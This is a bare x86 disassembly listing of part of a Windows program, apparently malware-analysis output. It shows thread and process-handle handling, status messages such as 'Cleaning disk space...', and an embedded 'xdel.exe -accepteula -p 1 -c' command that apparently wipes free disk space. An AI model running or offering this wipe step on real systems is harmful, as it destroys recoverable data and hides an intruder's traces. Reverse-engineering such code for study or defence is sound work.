push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x466254
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x18], eax
push 0x15f90
push 1
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov byte [0x5f17a7], 1
call fcn.00466f60
push str.___Commands...
call fcn.00463390
add esp, 4
push 0x5f20c4
call fcn.004673b0
push 0
push 0
push 0
push 0x46efb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4662a8
push 0xffffffffffffffff
push eax
call esi
cmp byte [0x5f19d2], 0
je 0x4662bd
push dword [ebp - 0x104]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push str.___Cleaning_disk_space...
call fcn.00463390
add esp, 4
call fcn.004755f0
call fcn.00475920
call fcn.0045fb00
push 0x5d8fb0
lea ecx, [ebp - 0xf8]
call fcn.00449530
push 0x5f19e8
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x47
call fcn.00452ce0
push str.xdel.exe___accepteula__p_1__c
lea ecx, [ebp - 0xf8]
call fcn.00452ce0
push ecx
lea ecx, [ebp - 0x58]
call fcn.0045a4b0
call fcn.0045b5b0
push 1
xor dl, dl
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x58]
call fcn.0045a710
add esp, 4
cmp byte [0x5f17a0], 0
jne 0x466391
mov edi, dword [ebp - 0x58]
mov esi, dword [edi]
cmp esi, edi
je 0x46648e
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0044c0e0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x4c]
push dword [esi + 8]
call fcn.00452d10
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0x4c]
call fcn.00449480
xor edx, edx
mov ecx, eax
call fcn.0046e500
add esp, 8
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x4c]
call fcn.00449490
mov esi, dword [esi]
cmp esi, edi
jne 0x466344
jmp 0x46648e
push ecx
lea ecx, [ebp - 0x28]
call fcn.00466740
xor eax, eax
xor edi, edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x58]
mov esi, dword [ecx]
cmp esi, ecx
je 0x466449
nop dword [eax + eax]
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0044c0e0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xb4]
push dword [esi + 8]
call fcn.00452d10
push 0x2710
push 0
lea ecx, [ebp - 0xb4]
call fcn.00449480
xor edx, edx
mov ecx, eax
call fcn.0046e500
add esp, 8
test eax, eax
je 0x46642c
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0xfc], eax
test eax, eax
je 0x46642c
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00467380
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x4a
call fcn.00449490
mov esi, dword [esi]
cmp esi, dword [ebp - 0x58]
jne 0x4663c0
mov eax, dword [ebp - 0x24]
mov esi, eax
push 0xffffffffffffffff
sub esi, edi
push 1
mov eax, esi
sar eax, 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
add esi, 3
xor eax, eax
shr esi, 2
xor ebx, ebx
cmp edi, dword [ebp - 0x24]
cmova esi, eax
test esi, esi
je 0x466482
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, esi
jne 0x466472
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x48
call fcn.00458ac0
call fcn.00467280
lea ecx, [ebp - 0x58]
call fcn.0045b560
lea ecx, [ebp - 0xf8]
call fcn.00449490
jmp 0x4660d8
call fcn.0054a8a1
call fcn.0054a8a1
call fcn.0054a8a1
call fcn.0054a8a1
call fcn.0054a8a1
call fcn.0054a8a1
call fcn.0054a8a1
int3